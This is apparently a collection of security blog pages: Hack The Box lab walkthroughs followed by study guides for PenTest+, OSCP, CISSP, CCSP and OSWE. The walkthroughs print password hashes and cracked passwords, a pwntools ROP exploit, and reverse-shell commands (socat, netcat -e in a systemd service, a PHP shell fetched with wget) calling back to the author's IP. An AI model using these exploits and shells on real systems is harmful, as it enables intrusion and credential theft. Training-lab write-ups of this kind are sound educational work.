/var/backups/shadow.bakroot:*:17737:0:99999:7:::daemon:*:17737:0:99999:7:::bin:*:17737:0:99999:7:::sys:*:17737:0:99999:7:::sync:*:17737:0:99999:7:::games:*:17737:0:99999:7:::man:*:17737:0:99999:7:::lp:*:17737:0:99999:7:::mail:*:17737:0:99999:7:::news:*:17737:0:99999:7:::uucp:*:17737:0:99999:7:::proxy:*:17737:0:99999:7:::www-data:*:17737:0:99999:7:::backup:*:17737:0:99999:7:::list:*:17737:0:99999:7:::irc:*:17737:0:99999:7:::gnats:*:17737:0:99999:7:::nobody:*:17737:0:99999:7:::systemd-network:*:17737:0:99999:7:::systemd-resolve:*:17737:0:99999:7:::syslog:*:17737:0:99999:7:::messagebus:*:17737:0:99999:7:::_apt:*:17737:0:99999:7:::lxd:*:17737:0:99999:7:::uuidd:*:17737:0:99999:7:::dnsmasq:*:17737:0:99999:7:::landscape:*:17737:0:99999:7:::pollinate:*:17737:0:99999:7:::sshd:*:17737:0:99999:7:::theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7::: ``` Let’s crack those hashes! ``` 1234hashcat64.exe -m 1800 -a 0 ellingsin.txt rockyou.txt --forcetheplague:password123margo:iamgod$08 ``` Now that it’s cracked, let’s login as user! ``` 1234su margocat /home/margo/user.txtd0ff9e3f9da8-------------------- ``` User owned. From here, I ran the linenum.sh script, and found a binary running that should NOT be there: ``` 123find / -perm -u=s -type f 2>/dev/null/usr/bin/garbage ``` I tried several methods to get the binary to my box. All ways failed, so assume that it’s blocked on the box. I found openssl base64 as an alternative method. ``` 1234567openssl base64 < garbage//Copy output of encoded garbage//On your machine, create garbage.inputopenssl base64 -d < garbage.input > garbage.output ``` Garbage.output is now the binary on my system. For the ROP, I had to watch Bitterman’s video several times, and speak wth the HTB community on Discord (if you are NOT on their channel, I highly recommend it. There is a community of hackers who really do want to help you along with nudges when you are stuck, which is especially nice for a n00b like me). After watching the second half of the video, and chatting with a few fellow hackers, I was able to come up with the following: ``` 12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import *context(terminal=['tmux', 'new-window'])session = ssh('margo', '10.10.10.139', password='iamgod$08')p = session.process('/usr/bin/garbage')#p = gdb.debug('./garbage', 'b main')context(os='linux', arch='amd64')#context.log_level = 'DEBUG'# make sure these are local and freshly grabbed from remote with correct permissionsgarbage = ELF('garbage')rop = ROP(garbage)libc = ELF('libc.so.6')junk = "A" * 136# build rop chainrop.search(regs=['rdi'], order='regs')rop.puts(garbage.got['puts'])rop.call(garbage.symbols['main'])print "ROP Chain 1:\n{}".format(rop.dump())payload = junk + str(rop)p.recvuntil('password:')p.sendline(payload)p.recvuntil('denied.')leaked_puts_address_in_libc = p.recv()[:8].strip().ljust(8, "\x00")print("Leaked puts@GLIBCL {}".format(str(leaked_puts_address_in_libc)))# unpackleaked_puts_address_in_libc = u64(leaked_puts_address_in_libc)libc.address = leaked_puts_address_in_libc - libc.symbols['puts']rop2 = ROP(libc)rop2.setuid(0x0)rop2.system(next(libc.search('/bin/sh\x00')))print "ROP Chain 2:\n{}".format(rop2.dump())payload = junk + str(rop2)p.sendline(payload)p.recvuntil('denied.')p.clean()p.interactive() ``` Now, once I ran the binary, I was delivered root! ``` 12cat /root/root.txt1cc73a448021-------------------- ``` # HTB Jarvis Walkthrough HTB Jarvis Walkthrough (Nanobyte) Nov 9, 2019 | nanobyte Jarvis was a Medium rated box on Hack The Box. This machine was another great box that I thoroughly enjoyed, and the first one I got to use SQLMap’s os-shell. I also was able to learn how to create my first malicious SUID systemctl service! Now, onto the goods. As normal, to start enumeration I began with a nmap scan. I did a full service version scan (-sV), a full nap script scan (-sC), a full port scan of the entire port range of ports 1 through 65535 (-p-) and saved the nmap output to all formats (-oA): ``` 12345678910111213141516171819202122232425nmap -sV -sC -p- -oA jarvis.htb 10.10.10.143Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-15 18:42 CDTNmap scan report for 10.10.10.143Host is up (0.039s latency).Not shown: 65532 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)| ssh-hostkey:| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)80/tcp open http Apache httpd 2.4.25 ((Debian))| http-cookie-flags:| /:| PHPSESSID:|_ httponly flag not set|_http-server-header: Apache/2.4.25 (Debian)|_http-title: Stark Hotel64999/tcp open http Apache httpd 2.4.25 ((Debian))|_http-server-header: Apache/2.4.25 (Debian)|_http-title: Site doesn't have a title (text/html).Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 56.05 seconds ``` Alongside running nmap, I also ran robuster for directory and file discovery. I used the small directory wordlist provided by dirbuster in Kali Linux. I also utilized the -x option. In gobuster, this searches for file extensions provided in the command. By default, I usually start with php, html, and him extensions: ``` 1234567891011121314151617181920212223242526272829gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.10.143 -x php,html,htm===============================================================Gobuster v3.0.1by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)===============================================================[+] Url: http://10.10.10.143[+] Threads: 10[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt[+] Status codes: 200,204,301,302,307,401,403[+] User Agent: gobuster/3.0.1[+] Extensions: php,html,htm,txt[+] Timeout: 10s===============================================================2019/10/15 18:54:26 Starting gobuster===============================================================/index.php (Status: 200)/images (Status: 301)/nav.php (Status: 200)/footer.php (Status: 200)/css (Status: 301)/js (Status: 301)/fonts (Status: 301)/phpmyadmin (Status: 301)/room.php (Status: 302)/connection.php (Status: 200)/sass (Status: 301)===============================================================2019/10/15 19:22:44 Finished=============================================================== ``` While these were running, I also began manually enumerating and investigating the website for Jarvis. This (as you should be able to tell) is a themed hotel for Stark Industries from Marvel’s Iron Man. While looking over the website, I noticed something interesting with the URL when I was navigating the available hotel rooms. To be specific, I noticed this: ``` 1http://supersecurehotel.htb/room.php?cod=1 ``` The URL utilizes a database to provide the room pages! With this information, I threw the first tool that comes to mind. SQLMap. For my first SQLMap command, I used the –dbs option to enumerate and locate any available databases: ``` 1234567891011121314151617181920212223242526272829303132333435363738394041424344sqlmap -u http://supersecurehotel.htb/room.php?cod=1 --dbs ___ __H__ ___ ___["]_____ ___ ___ {1.3#stable}|_ -| . [.] | .'| . ||___|_ [.]_|_|_|__,| _| |_|V |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:42:22 /2019-10-15/[20:42:23] [INFO] resuming back-end DBMS 'mysql'[20:42:23] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: cod (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cod=1 AND 1133=1133 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Payload: cod=1 OR SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: cod=-5818 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71627a6b71,0x46674577596d525958626f4b6f426545445a6b485a4655705855484b476c454a47705171796f4456,0x7170787171),NULL,NULL-- KnHI---[20:42:24] [INFO] the back-end DBMS is MySQLweb server operating system: Linux Debian 9.0 (stretch)web application technology: Apache 2.4.25back-end DBMS: MySQL >= 5.0.12[20:42:24] [INFO] fetching database names[20:42:24] [INFO] used SQL query returns 4 entries[20:42:24] [INFO] retrieved: 'hotel'[20:42:25] [INFO] retrieved: 'information_schema'[20:42:25] [INFO] retrieved: 'mysql'[20:42:25] [INFO] retrieved: 'performance_schema'available databases [4]: [*] hotel[*] information_schema[*] mysql[*] performance_schema ``` From here, I dove deep into enumerating the databases, tables and columns. I was able to find some credentials, but that led nowhere. For the sake of this writeup, I will spare those details. But SQLMap also has the ability to not only find this information. SQLMap also provides tools such as shells, and one of those shells is an interactive system shell (–os-shell): ``` 123sqlmap -u http://supersecurehotel.htb/room.php?cod=1 --os-shellUse Default Use Default Dir ``` And that returned a shell. Enumerating this shell, there is wget. Wget allows me to download a file from an external web server. So, I headed over to pentest monkey and downloaded a php-reverse-shell (). I downloaded this shell, modified my IP and port in the file, and saved it into a directory in my Kali. Below are the lines I modified, that are just under the comments, where the //CHANGE THIS comments are: ``` 12345678910set_time_limit (0);$VERSION = "1.0";$ip = '10.10.14.29'; // CHANGE THIS$port = 1337; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0; ``` Once I had the reverse shell configured, I used a python simple web server to host this reverse shell: ``` 1python -m SimpleHTTPServer 80 ``` Then, over on Jarvis’ interactive shell I had, used wget to download my hosted reverse shell. The -O option tells wget to output the file once downloaded. ``` 1wget http:///php-reverse-shell.php -O php-reverse-shell.php ``` Then, on my Kali, setup a nc listener that the php-reverse-shell connects to. With nc, I used the listener option (-l), the verbose option (-v), and the port option (-p) to designate a port to listen on: ``` 1nc -lvp 1337 ``` And with that, I had a reverse shell connected back to my Kali box from Jarvis. From here, I used wget to download and run (the first thing I always run on a Linux machine) linenum.sh for Linux enumeration. If you have never used it, it can be found on GitHub (). After linen ran, and checking the results, I found that as the user I was logged in as (pepper) I had access to sudo. I completed this with the -l option. From sudo man page, this option “If no command is specified, the -l (list) option will list the allowed (and forbidden) commands for the invoking user”: ``` 123sudo -lsudo -u pepper /var/www/Admin-Utilities/simpler.py -p 127.0.0.1; ``` I headed over, and looked at the python script I had access to run with sudo rights. Looking through the code, there is a function declaration that calls ping to run. This function also eliminates the use of some characters which are common in command injection. I started playing around with the script, running it constantly looking or ways to get command injection. I found a character which was not listed in the forbidden that can be used to escape, $. Essentially, I used this escape to run commands from the simpler.py script: ``` 12345678910111213141516sudo -u pepper /var/www/Admin-Utilities/simpler.py -p*********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| ||___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es ***********************************************Enter an IP: $(cat /home/pepper/user.txt)$(cat /home/pepper/user.txt)ping: 2afa36c4f05bXXXXXXXXXXXXXXXXXXXX: Temporary failure in name resolution ``` And with that, I owned user! But, this would be a very inefficient shell to proceed. While I was enumerating, I found that there was socat installed. Socat would be awesome to get fully functional TTY shell. I setup a socat listener on my Kali: ``` 1socat file:`tty`,raw,echo=0 tcp-listen:4444 ``` And re-ran simpler.py, calling a socat connection to my listener: ``` 1234567891011121314sudo -u pepper /var/www/Admin-Utilities/simpler.py -p*********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| ||___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es ***********************************************Enter an IP: $(socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.28:31337) ``` And I now have a second shell running from Jarvis to my Kali. To get a fully functional socat shell, I also had to run the following: ``` 1TERM=ansi ``` Now I had a fully functional socat shell. Since I was now a new user, I re-ran my linenum.sh script. During this enumeration, I found that there was a binary running with SUID set: ``` 123456789101112131415/bin/fusermount/bin/mount/bin/ping/bin/systemctl/bin/umount/bin/su/usr/bin/newgrp/usr/bin/passwd/usr/bin/gpasswd/usr/bin/chsh/usr/bin/sudo/usr/bin/chfn/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/dbus-1.0/dbus-daemon-launch-helper ``` Can you spot it in this list? It is systemctl. Normally, an unprivileged user should not have access to run this binary. This took quite a bit of time, and effort, on my end to learn this. I could manage system processes, but I could not write to the standard directory where they need to be in to start. To get around this, I learned about the /dev/shm/ directory. I wrote a small and simple process to this directory: ``` 1234567nano /dev/shm/my.service[Service]Type=oneshotExecStart=/bin/netcat -e /bin/sh 10.10.14.29 31347[Install]WantedBy=multi-user.target ``` And once it was made, I had to then enable the process. The next two commands enable the process, give it executable permissions: ``` 12systemctl enable /dev/shm/my.serviceChmod +x my.service ``` And now, for my third reverse shell! On my Kali I setup ANOTHER listener (I began to run out of 1337 speak numbers): ``` 1nc -lvp 31347 ``` And on Jarvis, used systemctl to run my new process: ``` 1nsystemctl start my.service ``` And with that, back on the final reverse shell, we are now root: ``` 12cat /root/root.txtd41d8cd98f00XXXXXXXXXXXXXXXXXXXX ``` # Blog Posts # Certification Reviews # PenTest+ DataMcdataface (Data) ## 5 bullets on how to pass the PenTest+ * Memorize Nmap Switches * Understand CompTIA Pentesting steps * Be able to identify Ruby, Python and Bash scripts + For/while loops * Use the 50-50 rule to eliminate possible answers(this goes for any test really) * Use the TryHackMe Learning path ### Study Materials & Methods I started studying for this exam 11/23/21 and passed the exam 01/08/22. I'll try and schedule the exam after working on the material for 2 weeks or so. This will allow me to find a reasonable pace to work at and also give me a deadline to meet. I typically spent around three hours a day working on the material. As part of my WGU Enrollment I was given access to the official Certmaster Learn for [Pentest+ PT0-001](https://www.comptia.org/training/by-certification/pentest). I skipped the CompTIA material to start and bought a one year subscription to [TryHackMe](https://tryhackme.com/path/outline/pentestplus). They have a dedicated Path for Pentest+ which I found extremely helpful. I also completed the Advent of Cyber 3 event on TryHackMe. It was fun and also helped reinforce the Pentest+ Path. The CompTIA material was pretty solid, they have a few options, flashcards, quizzes, games and one Assessment. There was also a separate "practice" module. It will take a section from the learning material and ask you questions. It repeats the questions until you get each correct three times in a row. I find this to be the most useful feature. The first thing I do when starting a course is take a practice test. The test helps me figure out what I need to focus on as I go through the material. I'll then read through all of the material and complete any labs/quizzes along the way. While working during the day I'll listen to videos for the material. After work I'll take a break and then get back to the computer for a few hours(2 minimum). After the first hour or so I'll take short breaks every hour so I don't get burned out. ### Exam Day I'll start with the night before the exam. I try keep the same routine I used when prepping for the test. After dinner and spending time with the family I focus on reviewing the incorrect answers from the practice exams. This leads me to one of the main issues I have with the CompTIA Learn/Certmaster material. The practice Assessment is fairly accurate to the test(Not Including the PBQ's, more on this later) The issue with the included Assessment is that it requires you to "reset" the exam to take it again and it does not retain any history. This prevents you from seeing where you've improved/fallen behind. Usually I read the section for the incorrect answers and the summarize them on paper. I'll continue this process when I wake up in the morning. I typically schedule the exams for 10 or 10:30AM. This gives me a few hours in the morning to study anything I'm having difficulty with. I try to get to the testing center at least 30 minutes early. #### **The Exam** I had 6 PBQ's(Problem Based Questions) and 62 multiple answer questions. The bank of questions I got on this exam were mostly on scripting and web app exploitation which happen to be the areas I'm weakest in. My method for these exams is to skip the question if I don't know the answer right away. Usually I skip the PBQ's as they require much more time than the multiple answer questions. Another Issue I have with CompTIA exams in general are the PBQ's([Example](https://simulation.comptia.org/)). PBQ's are just questions with multiple drop downs or drag and drop scenarios. They are extremely slow, a tester has to choose to see either the question or the possible answers but can't have both up on the screen at the same time. The example is pretty straightforward and is not reflective in the actual exam PBQ's in my experience. PBQ's on the exam seem to be focused more on reading comprehension than testing troubleshooting or even pentesting methodology. The exam allows 165 minutes and I finished right around the 60 minute mark including time to review any questions I wasn't 100% sure on. ### Lessons Learned & Conclusion I should have spent more time on scripting in general. The exam covers Bash, Python and Ruby. You need to be able to identify the difference between each. You also need to be able to write what they call a "basic" port scanner in each language. You also need to make sure you know the following tools Maltego, FOCA, Recon-ng, theHarvester, Shodan. Know the difference between Fence Jumping and Dumpster Diving. Make sure you know Nmap and the basic switches(-sS, -O, -oN/oX/oS,oG,oA). # GIAC Exploit Researcher and Advanced Penetration Tester (GXPN) GXPN (exabyt3) ![Capture The Flag Coin](/files/-MVWtVZX9zzCiQ-zokmm) ![](/files/-MZYtKFTeECaU6dbUE7e) # OSCP Guide to pass (Exabyt3) & ? todo From the offensive-security.com website there's four main parts of the OSCP. Learn foundational penetration testing skills, practice take your first grueling exam and become an OSCP! ![](/files/-MWUICvXsvpp3iS4x3iB) This is our guide to pass the OSCP. 1. Learn an offensive or penetration tester methodology 1. Planning 1. What are your targets? 2. What is your *END* goal? 3. What can you prepare prior to engagement? 2. Reconnaissance - 1. What can you learn about your target(s) prior to sending data? 2. Sending data to the target, what services are running? 3. Vulnerability detection or discovery 1. What happens when you send malformed data? 2. Are the exposed services unpatched? 4. Exploitation 1. What exploit can you leverage that will get you closer to your *END* goal? 5. Report 1. What did you discover during recon? 2. What vulnerability did you discover? 3. What/how did you exploit? 4. Screenshots! 5. Why was it exploitable and how do you fix? 6. **IMPORTANT! This is a circle process, go back to step 2 until your test is finished!** 2. Signing up for the OSCP course you will be delivered videos and a PDF. Each one of the lines in the table of contents is a topic that you should go and research more. Understand, why you are learning each line, and tie it back to the pentester methodology (how can you leverage this). I'm lazy, and i'm sure there are better how-to's. **google search** github OSCP prep. Find someone who has broken out the topics with reseach links. 1. Study the topics 2. Map the topics back to methodology 3. practice the topics 3. Practicing... Vulnhub overthwire and hackthebox.eu (htb) someone has created a picture (it is not ours) I just highlighted the more important ones :) 1. Paying for offseclabs is **not** necessary to pass. However, the labs teach you lateral movement skills for real world. Exam day: 1. Planning, what can you do prior to taking the exam? 1. review 1. *"The OSCP certification exam simulates a live network in a private VPN, which contains a small number of vulnerable machines."* Make scripts that can perform both recon and vulnerability detection on the machines while you test. Think about what you can do in the background while poking at a machine. 2. Make a reporting plan, how are you going to take your 5 bullet pointed notes and screenshots 3. Make a timeline of when you are going to take breaks. It is east to get sucked in for 24 hours, trust me ...you need sleep! 2. Music! it's important, make certain you have music to *pump you up.* This test test can be soul crushing :) 3. Healthy, smart not so sugary food - Don't crash and burn (hackers reference) 4. Have fun! If you fail, that's OK **don't quit**. Understand where need extra help maybe it's linux privesc. Work on hackthebox or vulnhubs get the skills and retake the exam. ![ToDo add original source](/files/-MVEZEya26kTD5XwoXQa) ![OSCP Certified](/files/-MWUHo131jElSsjjlaZf) Open book test = Open Scripts consider leveraging simple bash scripts to perform in the background. (check out ) for ideas on combining these. ``` #!/bin/bash for i in $(cat < "$1"); do mkdir -p $i sh -c "dirb http://$i/ -o $i/dirb.$i -w" done ``` gobuster\_scan.sh
``` #!/bin/bash for i in $(cat < "$1"); do mkdir -p $i sh -c "gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://$i -o $i/gobuster.$i" done ``` nikto\_scan.sh
``` #!/bin/bash for i in $(cat < "$1"); do mkdir -p $i sh -c "nikto -o $i/nikto.$i -Format txt -Tuning 9 -h http://$i" done ``` nmap\_scan.sh
``` #!/bin/bash for i in $(cat < "$1"); do mkdir -p $i sh -c "nmap -sVC -p- -oA $i/nmap.$(echo $i |cut -d "/" -f1) $i --open" done ``` Buffer OverFlow (BOF) consider building skeleton BOF scripts prior to. A crude example below. > ``` > #! /usr/bin/env python > import socket > s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > s.connect(("127.0.0.1", 31337)) > > #overflow lets send some x41 > bufz = "" > bufz += "A"*9000 > bufz += "\n" > > #s.send what are we piping through > s.send(bufz) > print "Sent!" > > #did the program crash? can we find instruction pointer? (blah blah more notes) > ``` # SANS Guide to pass todo # CCSP Guide to pass CCSP (Exabyt3) todo I was one of the first 500 to become a CCSP. There were not materials for studying at the time. These steps worked for me but consider looking for audio/video and practice questions. Overall I learned some things mostly architecture and data lifecycle studying for the CCSP. I don't suggest going for the CCSP over the CISSP. Cloud architecture changes so quick that by the time I was studying some of the architecture was obsolete. 1. Buy the official CBK published by SYBEX (same publisher as CISSP) There is the *official study guide CCSP* by Sybex. I don't suggest this book in some areas it contradicted the CBK. 2. At the end of the CBK there is a website for practice tests. I thought this was OK, not as good as the CSSP. 3. I wrote my own quizlet flashcards. I used the quizlet app on my phone and studied these when I had downtime. 4. CCSP uses a few domains of CISSP so a refresher on CISSP domains is a good idea. 5. Take the test! # CISSP Guide to pass CISSP (Exabyt3) Steps to pass your CISSP exam (that worked for me): 1. Grab the CISSP books by Sybex (i have read most/all IMO these are the best) My method of reading was to rewrite in notbook(s) my own words for each **page** that I read (this is overkill for most) 2. Find a video/audio series. I used Sari Greene CISSP I listened to this whenever i wasn't in front of my books (example: in the car, mowing lawn) 3. Grab the CISSP app ios/android they are the same take the 10 question tests randomly throughout your day. 4. Feeling good about the material? A few weeks before your test pick up (IMO) these questions are harder than the exam. For every question you get incorrect write a paragraph on the correct answer. 5. Take the test and become a CISSP {% embed url="" %} # OSWE Exam Blog nan0 1. Introduction & Lookbacks 2. nan0’s Preperation 3. The Labs 4. The Exam - Attempt 1 5. The Exam - Attempt 2 6. The Exam - Attempt 3 7. Top Five Takeaways 8. Final Thoughts ### 1. Introduction & Lookbacks I knew that I wanted to be a penetration tester after earning my Offensive Security Certified Professional (OSCP) certificate. For this goal, I wanted to become more familiar with penetration testing web applications. This is what kicked off my Offensive Security Web Expert (OSWE) () certification interest. Offensive Securities Advanced Web Attacks and Exploitation (AWAE) course, which is required for the OSWE exam, was an intense course, consisting of several modules that carried me through vulnerability discovery within source code to remote code execution on a variety of web applications in several different languages. AWAE is a white box course, meaning you have access to all the web application’s source code. This is not a black box course. The most difficult task for me during this course was being able to follow the source code and identify vulnerabilities in the various languages. I have heard that a heavy development background is required to pass this course. On the contrary, if you are able to read the source code, then you should be able to complete this course. My background in development is severely limited - learning two high-level languages in college (Java and C++) and some Python scripting. I have never developed anything in production (or even close) in the real world. However, while taking this course and knocking off the rust, I was able read the source, in most cases. Looking back, during your preparation for AWAE, I would urge you to take some time to also include time learning common web languages. I took time to touch up on Python scripting, but avoided brushing up on anything else. This was definitely a mistake. If you are not familiar with these common web app languages, take some time to be able to brush up. You won’t need the ability to write fully functional web apps in them - but rather have the ability to follow the logic, the functions, which parameters are useful, etc. Something at a base level. ### 2. nan0's Preparation I began to prepare for AWAE shortly after earning my OSCP certificate. I prepared for around 6 months before starting my labs. I read every review I could find, but with the updated 2020 content, many of the reviews were on the old course. For those like me who have never penetration tested web applications, Burp Suite’s PortSwigger labs were an amazing resource for diving into AWAE. The ability to better understand common web vulnerabilities, why they were vulnerable, and how to exploit them, were very useful in understanding the attack content in the course. Some of the labs I completed were: -SQL injection -Cross-site scripting -XML external entity (XXE) injection -Insecure deserialization Looking back through these labs, I wish I would have also focused on a few others. However, coming into this course, I only had an idea of web attacks from OSCP and Hack the Box (). Performing PortSwigger’s labs and how they provided instructions on these attacks when stuck, was amazing for me. I highly recommend PortSwigger to anyone looking to just better familiarize themselves with common web attacks. Another key piece to my preparation was PentesterAcademy’s JavaScript for Pentesters course (). This went deep into JavaScript (JS), and also Cross-site scripting (XXS) attacks. This was a core understanding of looking at a web page’s source code, and thinking outside the box on how to leverage a vulnerability to exploit it. I really enjoyed this course, and highly recommend it for anyone just getting comfortable with JS or XXS attacks. Finally, I got back into the groove of practicing Python. I had learned how to read and edit Python exploits I discovered while in Penetration Testing with Kali Linux (PWK) course for OSCP, and some Python scripting courses years ago. But I knew I would be crafting Python by hand, as my language of choice for exploits, and learning how to quickly script is key in this course for the exam. I used edabit () to familiarize myself with Python once again. ### 3. The Labs I decided to purchase the 60 days of labs. I read many comments that stated one could easily do the entire course in 30 days. However I have a family, with kids and dogs and cats. I knew I would not be at my PC every night, and that I needed to take breaks, especially since I took booked this course over the holidays. Take whatever you are comfortable with, but the breaks between modules helped keep mine and my family’s sanity. I read the PDF, going through each module, and then would play the videos and follow along with my labs. I completed most extra miles - but should have completed every extra mile at this stage. The extra miles are key to helping me understand taking that extra step and discovering vulnerabilities on my own. Take the time, and do every extra mile you can. I think the labs were great, for the most part. There were some instances of Offensive Security going above the novices (like me) and providing a statement, such as “And by reviewing the source code one could find this vulnerability…”, or something along that line. However, I have never reviewed source code, and it was difficult to understand how anyone would identify that as a vulnerability! Read between the lines, and get the message before glancing over and continuing. This will help you come exam time. Lastly, when you are taking notes during your labs, I recommend making a section for “Python Scripting Cheat Sheet”, where you can put commonly used functions that you create through the course, as well as your Python skeleton script. This will speed up your exploit creation, so you are not struggling to find these in your notes or on the internet during your exam! ### 4. The Exam - Attempt 1 Walking into my first exam, I wanted to see where my strengths were, and what my weaknesses were. I knew I would not pass my first attempt. Nonetheless, I looked at this as a reconnaissance, to walk away with the intent to study on what I felt weak on. What I took away from my first attempt was my inability to utilize the tools taught in the course. I cannot go into any details, but in every module there are a variety of methods and tools that can be used. I recommend understanding all of these tools prior to your first exam, and how to use them. I failed my first attempt with 0 points. This was hard to swallow, since I have never failed an exam in my life! I had an idea on one machine of what needed to be done, but never got a working exploit. However, instead of quitting, I purchased another 30 days of labs, completed some of the harder and more difficult extra miles I passed over on my first lab time, and regrouped. I was determined to not yet give up! ### 5. The Exam - Attempt 2 During my second attempt, I told myself I just wanted to do better than my previous attempt. This meant just getting a few points on the board. This time, I was able to identify one vulnerability and create a working Proof of Concept (POC) and get a few points! However, ultimately I did not achieve enough, and still failed my second attempt. After failing twice, I was on the 60 day cool-off period for exams, and decided not to buy any more lab time. However, I did review my notes, re-read the PDF, and watched the videos for explanation in vulnerability discovery in source code, what I felt I lacked on the most. Another thing I did during this time was create an in-depth checklist of what I should follow for a methodology in my next attempt. This is something I should have done for my first two, but failed to write. In my first two attempts, I followed whatever looked interesting, but did not systematically follow a check-list. ### 6. The Exam - Attempt 3 Finally, before I knew it, my cool-off period was over and my third attempt had arrived. During the 47 hour and 45 minute exam, I took a break every hour for at least five minutes. On the first day, I was able to fully exploit a machine, and earn more points than my second attempt. I gave myself a full eight hours of sleep, even though I felt like I was wasting time. I knew I needed the mental breaks. Coming back after that extended break, and looking at it with fresh eyes, I was able to complete enough objectives to earn the points required for passing! Upon completion of my exam time, I wrote my exam report, and submitted it. I received a response way before the ten business days that I had earned my OSWE! ### 7. Top Five Takeaways 1. This course is tough, in my opinion much tougher than OSCP. However, Offensive Security gives you the methodologies and tools that you need to complete this course. It will require reading and studying outside of the PDF to complete some of the extra miles, but this prepares you for the exam. 2. My scripting abilities have grown ten-fold since entering this course. I am able to quickly craft a Python exploit from scratch. 3. I have a deep understanding of a variety of web application attacks. Not just how to perform them in a black box scenario, but also from a white box scenario with source code provided. 4. When you think you cannot go any further, take a break. Walk away from the computer, go spend five minutes with your family. Yes, even during the exam! Grab some water, and get back into it with fresh eyes. When you need to during lab time, take a day or two off for another hobby. You don’t need to overwork yourself! 5. If you stay persistent, you can accomplish amazing things. I thought I may have made a mistake after my first exam attempt - but staying persistent allowed me to achieve this amazing certificate. ### 8. Final Thoughts This is the hardest exam I have ever taken in my life. I am thrilled to have been able to again pass another Offensive Security exam, and have OSWE as a part of my credentials. Although I am still not a penetration tester, I hope one day to apply the skills I have learned to a security position in my future. Thank you Offensive Security for a great course! # OSCP Exam Blog Post OSCP Exam Attempt (nanobyte) May 12, 2020 | nanobyte ### Update I passed my exam, and earned my OSCP! ### Pre-Exam Talk Hello, and thanks for taking the time to read my post exam writeup for my first attempt at the Offensive Security Certified Professional (OSCP) certificate! I say first attempt, because I just submitted my exam report yesterday, and I honestly do not know if I passed or not. Details on being unsure are to follow below. However, I am eager to write this to share with my online fellow hackers that pushed me, and stuck with me, over the last several months. You guys rock, and even though you may not think you helped me, you kept me sane and helped me more then you may know. So, thank you! I first got eager to earn my OSCP when a close friend, exabyt3, earned his and told me about what it meant to hold the certification, years ago in the early 2010's. I recall thinking what a "badass" he was, being able to hack into computers and gain administrative access to computer systems. At this time in my life I was "computer savvy". I could build them, play computer games and build websites, but not well versed in the Linux terminal or Windows command line, at all. To be honest, it boggled my mind back then how someone could actually USE these as a means to interact with a computer. I was just to heavily reliable on what a GUI provided. But nonetheless, I wanted to earn this certificate, more than anyone knew. ### Preparation I began my studies over nine months ago, when I was introduced to [Hack the Box](https://www.hackthebox.eu/). For those that do not know what Hack the Box (HTB) is, it is a network of machines that are vulnerable. You receive a VPN connection pack when you make an account (you need to "hack" the login page to make an account, but don't worry there are guides to walk you through it) and once you have your connection pack, you can VPN into the network and attack these vulnerable machines. I began the overwhelming process of learning Linux, all while learning how to perform these attacks by hand from my Certified Ethical Hacker certificate. Sure, I KNEW what a SQL Injection attack was. But was I able to perform one on my own? That's what SQLMap was for! This goes into the same for any attack; local file inclusions, cross site scripting, the list goes on. I knew what the attacks were from memorization. But PERFORMING them by hand on my own was completely different. I worked my way through machines, starting with the easy rated boxes and working my way up from Linux to Windows. In those early days of HTB, forum checks were numerous, and calls for aide were constant. One thing I did do, which helped me even through OSCP, was I began to keep rudimentary notes of 